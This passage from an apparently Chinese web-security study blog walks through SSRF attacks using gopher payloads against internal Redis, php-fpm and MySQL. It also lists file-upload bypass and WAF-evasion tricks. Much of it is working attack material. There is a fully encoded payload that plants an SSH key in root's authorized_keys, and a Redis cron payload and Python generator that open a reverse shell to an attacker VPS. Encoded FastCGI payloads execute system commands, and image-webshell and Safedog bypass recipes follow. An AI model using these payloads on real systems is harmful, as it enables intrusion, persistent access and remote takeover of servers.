153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li></ul></pre>
<p>生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去:</p>
<pre data-index="218" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524568%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E%2F45IEs%2F9a6AWfXb6iwzo%252BD62y8MOmt%252Bsct27ZxGOcRR95FT6zrfFxqt2h56oLwml%2FTrxy5sExSQ%2FcvvLwUTWb3ntJYyh2eGkQnOf2d%252Bax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH%2F4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd%2FbWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ%2FNnHKyWtI%2FOzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe%252BXqQnjxtk4giopiFfRu8winE9scqlIA5Iu%2Fd3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg%2FOOhoA3iKNhJ%2FJT31TU9E24dGh2Ei8K%252BPpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl%252BSOsVHpNqwFcrgsq%2FWR5BGqnu54vTTdJh0pSrl%252BtniHEnWWU%253D%2520root%2540whoami%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>如下图,成功在主机192.168.52.131上面写入SSH公钥:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/94980418b07f3b85babb71da1f49acf4.png" alt="image-20210113185745287"></p>
<p>如下图,ssh连接成功:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/c6971a5e69a734763e6d8f46be26ffd0.png" alt="image-20210113193746288"></p>
<h4><a name="t221"></a><a id="Shell_3952"></a>创建计划任务反弹Shell</h4>
<p><strong>注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。</strong></p>
<p>构造redis的命令如下:</p>
<pre data-index="219" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.107/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
// 47.xxx.xxx.107为攻击者vps的IP
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<p>然后编写脚本,将其转化为Gopher协议的格式:</p>
<pre data-index="220" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">import urllib
protocol="gopher://"
ip="192.168.52.131"
port="6379"
reverse_ip="47.xxx.xxx.107"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li><li style="color: rgb(153, 153, 153);">29</li><li style="color: rgb(153, 153, 153);">30</li><li style="color: rgb(153, 153, 153);">31</li><li style="color: rgb(153, 153, 153);">32</li><li style="color: rgb(153, 153, 153);">33</li></ul></pre>
<p>生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在目标主机192.168.52.131上写入计划任务,等到时间后,攻击者vps上就会获得目标主机的shell:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/fc39f5be5ab0e723a355f819ca61f422.png" alt="image-20210113184927766"></p>
<p>[<a href="https://blog.csdn.net/qq_45521281/article/details/106532501">GKCTF2020]EZ三剑客-EzWeb</a>这道题利用的就是攻击内网Redis的思路。</p>
<h3><a name="t222"></a><a id="FastCGI_4012"></a>攻击内网FastCGI</h3>
<p>FastCGI指快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。</p>
<blockquote>
<p>众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要<strong>通过浏览器进行解析</strong>,而动态网站需要一个<strong>额外的编译解析</strong>的过程。以Apache为例,当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会把这个请求进行简单的处理,然后如果使用的是CGI,就会启动CGI程序(对应的就是PHP解释器)。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web <span class="words-blog hl-git-1" data-report-view="{"spm":"1001.2101.3001.10283","extra":"{\"words\":\"server\"}"}" data-tit="server" data-pretit="server">server</span>再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。</p>
<p>这里说的是使用CGI,而FastCGI就相当于高<a href="https://marketing.csdn.net/p/3127db09a98e0723b83b2914d9256174?pId=2782?utm_source=glcblog&spm=1001.2101.3001.7020" target="_blank" class="hl hl-1" data-report-view="{"spm":"1001.2101.3001.7020","dest":"https://marketing.csdn.net/p/3127db09a98e0723b83b2914d9256174?pId=2782?utm_source=glcblog&spm=1001.2101.3001.7020","extra":"{\"word\":\"性能\"}"}" data-report-click="{"spm":"1001.2101.3001.7020","dest":"https://marketing.csdn.net/p/3127db09a98e0723b83b2914d9256174?pId=2782?utm_source=glcblog&spm=1001.2101.3001.7020","extra":"{\"word\":\"性能\"}"}" data-tit="性能" data-pretit="性能">性能</a>的CGI,与CGI不同的是它<strong>像一个常驻的CGI</strong>,在启动后会一直运行着,不需要每次处理数据时都启动一次,<strong>所以FastCGI的主要行为是将CGI解释器进程保持在内存中</strong>,并因此获得较高的性能 。</p>
</blockquote>
<h4><a name="t223"></a><a id="phpfpm_4020"></a>php-fpm</h4>
<p>FPM(FastCGI 进程管理器)可以说是FastCGI的一个具体实现,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。</p>
<p>攻击FastCGI的主要原理就是,在设置环境变量实际请求中会出现一个<code>SCRIPT_FILENAME': '/var/www/html/index.php</code>这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。</p>
<p>而在PHP 5.3.9后来的版本中,PHP增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在PHP允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改PHP的设置。</p>
<p>那么当设置PHP环境变量为:<code>auto_prepend_file = php://input;allow_url_include = On</code>时,就会在执行PHP脚本之前包含环境变量<code>auto_prepend_file</code>所指向的文件内容,<code>php://input</code>也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。</p>
<p>详情请见:<a href="https://bbs.ichunqiu.com/thread-58455-1-1.html" rel="nofollow">《SSRF系列之攻击FastCGI》</a></p>
<p>测试环境:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/6f3f362c1a12000dc26cac974c3edfbc.png" alt="image-20210113225311760"></p>
<p>WEB服务器Ubuntu(192.168.43.166)存在SSRF漏洞:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/5baa30ba42779b5f457ac47a27db24bf.png" alt="image-20210113211319025"></p>
<p>并且WEB服务器Ubuntu上存在FastCGI,那么我们就可以利用其SSRF漏洞去攻击其本地的FastCGI。</p>
<blockquote>
<p>假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_exp等工具去攻击服务器上的php-fpm实现任意代码执行。</p>
<p>当内网中的其他主机上配置有fpm,且监听的地址为0.0.0.0:9000时,那么这台主机就可能存在php-fpm未授权访问漏洞,我们便可以利用Ubuntu服务器上的SSRF去攻击他,如果内网中的这台主机不存在php-fpm未授权访问漏洞,那么就直接利用Ubuntu服务器上的SSRF去攻击他显然是不行的。</p>
</blockquote>
<h4><a name="t224"></a><a id="fcgi_exp_4048"></a>使用fcgi_exp工具攻击</h4>
<p>下载地址:https://github.com/piaca/fcgi_exp</p>
<p>这个工具主要是用来攻击未授权访问php-fpm的,可用来测试是否可以直接攻击php-fpm,但需要自己将生成的payload进行转换一下。</p>
<p>该工具需要go语言环境,下载后进入目录执行如下命令进行编译:</p>
<pre data-index="221" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">go build fcgi_exp.go # 编译fcgi_exp.go
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>编译完成后,我们在攻击机上使用<code>nc -lvvp 2333 > fcg_exp.txt</code>监听2333 端口来接收fcgi_exp生成的payload,另外再开启一个终端使用下面的命令来向2333端口发送payload:</p>
<pre data-index="222" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">./fcgi_exp system 127.0.0.1 2333 /var/www/html/index.php "id"
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/445740b1f51bbfb74d8be4321795963e.png" alt="image-20210113205718209"></p>
<p>生成的fcg_exp.txt文件的内容是接收到的payload,内容如下:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/717757d724ba4c5c4155405afb8441d0.png" alt="image-20210113205857913"></p>
<p>然后对fcg_exp.txt文件里的payload进行url编码,这里通过如下脚本实现(脚本是我从网上白嫖的嘿嘿):</p>
<pre data-index="223" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;"># -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p>执行上面的python脚本生成如下payload:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/0cc737558723228854da89d3eaf70768.png" alt="image-20210113210102251"></p>
<p>这里还要对上面的payload进行二次url编码,然后将最终的payload内容放到?url=后面发送过去:</p>
<pre data-index="224" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2514%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509%255BPHP_VALUEallow_url_include%2520%253D%2520On%250Ddisable_functions%2520%253D%2520%250Dsafe_mode%2520%253D%2520Off%250Dauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2500%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----0vcdb34oju09b8fd-----%250D%2527%2529%253B%253F%253E
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>如下图所示,命令执行成功:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/8335628a4e2c30a6e5445cc5fe9e98f7.png" alt="image-20210113211227610"></p>
<h4><a name="t225"></a><a id="Gopherus_4097"></a>使用Gopherus工具攻击</h4>
<p>下载地址:https://github.com/tarunkant/Gopherus</p>
<p>该工具可以帮你生成符合Gopher协议格式的payload,以利用SSRF攻击Redis、FastCGI、MySql等内网应用。</p>
<p>使用Gopherus工具生成攻击FastCGI的payload:</p>
<pre data-index="225" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
id # 输入一个你要执行的命令
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/1ca5bce9c087b0c140a43c4c36f33fef.png" alt="image-20201206134630782"></p>
<p>然后还是将得到的payload进行二次url编码,将最终得到的payload放到?url=后面打过去过去:</p>
<pre data-index="226" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">ssrf.php?url=gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/04ed29c807bd6f832dc0b40249b6414d.png" alt="image-20210113211649519"></p>
<p>命令执行成功。</p>
<h3><a name="t226"></a><a id="MySql_4123"></a>攻击内网MySql</h3>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/62977d0a39fc9b832025655e1cb5dfac.png" alt="20210113152106.png"></p>
<p>首先我们要先了解一下MySql数据库用户认证的过程。MySQL分为服务端和客户端。MySQL数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程。</p>
<p>登录时需要用服务器发来的挑战码(scramble)将密码加密,但是当数据库用户密码为空时,加密后的密文也为空。客户端给服务端发的认证包就是相对固定的了。这样就无需交互了,可以通过Gopher协议来直接发送了。</p>
<p>测试环境如下:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/da9e6e7bb949259e4dd7cc917bdd20da.png" alt="image-20210113225607672"></p>
<p>Ubuntu服务器为WEB服务器,存在SSRF漏洞,且上面运行着MySql服务,用户名为whoami,密码为空并允许空密码登录。</p>
<p>下面我们还是使用Gopherus工具生成攻击Ubuntu服务器本地MySql的payload:</p>
<pre data-index="227" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">python gopherus.py --exploit mysql
whoami # 登录用的用户名
show databases; # 登录后要执行的sql语句
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<p>生成如下payload:</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/66faed4e9d89bb42a36342ed6da471e2.png" alt="image-20210114004602164"></p>
<p>将得到的paylaod进行url二次编码,然后将最终的payload内容放到?url=后面发送打过去就行了。但是我这里失败了,不知道为什么…</p>
<h3><a name="t227"></a><a id="Ending_4151"></a>Ending…</h3>
<p>推荐一个SSRF练习靶场:</p>
<ul><li>ssrf-lab:https://github.com/fengwenhua/ssrf-lab</li></ul>
<p>该靶场有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。配置请看:https://www.heibai.org/post/1287.html</p>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/9cea08b84b51bc690bf0b4d33a99a6ae.jpeg" alt="20210112124413.jpg"></p>
<p>本文多为笔者的学习总结,若有不当的地方还望各位经过的路过的大佬多多点评。</p>
<h2><a name="t228"></a><a id="_4163"></a>文件上传</h2>
<p><img src="https://i-blog.csdnimg.cn/blog_migrate/ef877475b4cb012cd31397637303cd95.png" alt=""></p>
<h3><a name="t229"></a><a id="JS_4167"></a>前端JS验证</h3>
<h4><a name="t230"></a><a id="js_4169"></a>删除/禁用/修改js</h4>
<h4><a name="t231"></a><a id="1jpg1php_4171"></a>抓包修改:1.jpg改为1.php</h4>
<h5><a id="_4173"></a></h5>
<h3><a name="t232"></a><a id="_4175"></a>内容检查</h3>
<h5><a id="_4177"></a>文件头</h5>
<h6><a id="jpegFF_D8_FF_E0_00_10_4A_46_49_46_4179"></a>jpeg:FF D8 FF E0 00 10 4A 46 49 46</h6>
<h6><a id="png89_50_4E_47_4181"></a>png:89 50 4E 47</h6>
<h6><a id="gif47_49_46_38_39_61_GIF89a_4183"></a>gif:47 49 46 38 39 61 (GIF89a)</h6>
<h5><a id="getimagesizeimage_type_to_extensionexif_imagetype_4185"></a><strong>getimagesize()</strong>/<strong>image_type_to_extension()</strong>/<strong>exif_imagetype()</strong></h5>
<p>给上传脚本加上相应的头字节进行绕过,例如 <code>GIF89a <?php phpinfo(); ?></code></p>
<h3><a name="t233"></a><a id="_4189"></a>黑名单</h3>
<h4><a name="t234"></a><a id="_4191"></a>解析漏洞</h4>
<h5><a id="apache_4193"></a>apache</h5>
<h6><a id="phpyj__4195"></a>后缀名从右往左进行缀解析,php.yj 绕过</h6>
<h6><a id="htaccess_4197"></a>上传.htaccess文件绕过</h6>
<h6><a id="AddType_applicationxhttpdphp_jpg_4199"></a>AddType application/x-httpd-php .jpg</h6>
<h5><a id="nginx_4201"></a>nginx</h5>
<h6><a id="aphp00jpgaphp_4203"></a>a.php%00.jpg----解析为a.php</h6>
<h6><a id="yjcomajpgphpphp_4205"></a>yj.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件</h6>
<h6><a id="useriniauto_prepend_file1jpg_4207"></a>上传.user.ini:<code>auto_prepend_file=1.jpg</code></h6>
<h5><a id="iis_60_4209"></a>iis 6.0</h5>
<h6><a id="fck_4211"></a>fck编辑器</h6>
<h6><a id="xxaspasp__aspasp_4213"></a>目录解析:xx.asp目录里面的文件(放个图片马)都会被当作asp文件来执行 / 文件名中含有".asp;"的会优先按asp来解析</h6>
<h6><a id="xxxasp1jpg___4215"></a>文件名解析:xxx.asp;1.jpg / 重命名文件</h6>
<h6><a id="asacercdx__4217"></a>asa/cer证书/cdx复保索引 无法使用</h6>
<h5><a id="iis_7075_4219"></a>iis 7.0/7.5</h5>
<h6><a id="fastcgixxphpphp_4221"></a>默认fast-cgi开启情况下,在文件路径后面加上/xx.php会将原来的文件解析为php文件</h6>
<h5><a id="nullbyte_4223"></a>nullbyte:系统自动截断</h5>
<h6><a id="php52aphpjpgbphex2e00_4225"></a>php<=5.2:a.php.jpg–bp截断–hex–最后一个点:2e-改为00</h6>
<h5><a id="ewebeditor_4227"></a>ewebeditor后台可以修改白名单</h5>
<h4><a name="t235"></a><a id="_4229"></a>常规方式</h4>
<h5><a id="_4231"></a>特殊文件后缀</h5>
<h6><a id="phpphp3php4php5phptphtml_4233"></a>php、php3、php4、php5、phpt、phtml</h6>
<h5><a id="_4235"></a>大小写/双写</h5>
<h5><a id="windows_4237"></a>windows文件流</h5>
<h6><a id="phpwindowsDATADATADATA_4239"></a>php在windows下如果文件名+“::<span class="katex--inline"><span class="katex"><span class="katex-mathml">
D
A
T
A
"
会把
:
:
DATA"会把::
</span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.6944em;"></span><span class="mord mathnormal" style="margin-right: 0.0278em;">D</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right: 0.1389em;">T</span><span class="mord mathnormal">A</span><span class="mord">"</span><span class="mord cjk_fallback">会把</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">::</span></span></span></span></span>DATA之后的数据当成文件流处理,不会检测后缀名且保持”::$DATA"之前的文件名</h6>
<h5><a id="1jpg____1pointjpg__2pointjpg_4241"></a>操作系统特性:1.jpg 空格 / 1point.jpg. / 2point.jpg…</h5>
<h3><a name="t236"></a><a id="_4243"></a>白名单</h3>
<h4><a name="t237"></a><a id="MIME_types__4245"></a>MIME types 验证</h4>
<h5><a id="ContentType_4247"></a>抓包修改Content-Type</h5>
<h6><a id="imagejpeg__imagepng__imagegif__4249"></a>image/jpeg & image/png & image/gif &</h6>
<h6><a id="applicationoctetstream___4251"></a>application/octet-stream : 二进制流数据(如常见的文件下载)</h6>
<h6><a id="multipartformdata__4253"></a>multipart/form-data :文件上传</h6>
<h6><a id="applicationpdf__applicationmsword_4255"></a>application/pdf & application/msword</h6>
<h4><a name="t238"></a><a id="_4257"></a>图片马</h4>
<h5><a id="Windowscopy_ajpgbyiaspa_bjpg_4259"></a>Windows:copy a.jpg/b+yi.asp/a b.jpg</h5>
<h5><a id="Linuxecho___ajpg_4261"></a><span class="words-blog hl-git-1" data-report-view="{"spm":"1001.2101.3001.10283","extra":"{\"words\":\"Linux\"}"}" data-tit="Linux" data-pretit="linux">Linux</span>:echo 一句话内容 > a.jpg</h5>
<h5><a id="00php_4263"></a>十六进制编辑器在其中的大片00字节处插入php代码,多用于二次渲染绕过.</h5>
<h4><a name="t239"></a><a id="_4265"></a>截断</h4>
<h5><a id="GET_00_4267"></a>GET %00截断</h5>
<h5><a id="POST_00_4269"></a>POST 00截断(二进制修改)</h5>
<h3><a name="t240"></a><a id="_4271"></a>其他</h3>
<h4><a name="t241"></a><a id="_4273"></a>注意负载均衡:条件竞争!</h4>
<h4><a name="t242"></a><a id="_4275"></a>远程下载文件绕过</h4>
<h4><a name="t243"></a><a id="_4277"></a>文件包含</h4>
<h4><a name="t244"></a><a id="HTTP_4279"></a>HTTP请求填充垃圾数据绕过</h4>
<h4><a name="t245"></a><a id="WAF_4281"></a>WAF专题</h4>
<h5><a id="_4283"></a>安全狗绕过</h5>
<p>1.绕过思路:对文件的内容,数据。数据包进行处理。</p>
<pre data-index="228" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data; 修改为~form-data;
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<p>2.通过替换大小写来进行绕过</p>
<pre data-index="229" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<p>3.通过删减空格来进行绕过</p>
<pre data-index="230" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<p>4.通过字符串拼接绕过</p>
<pre data-index="231" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<p>5.双文件上传绕过</p>
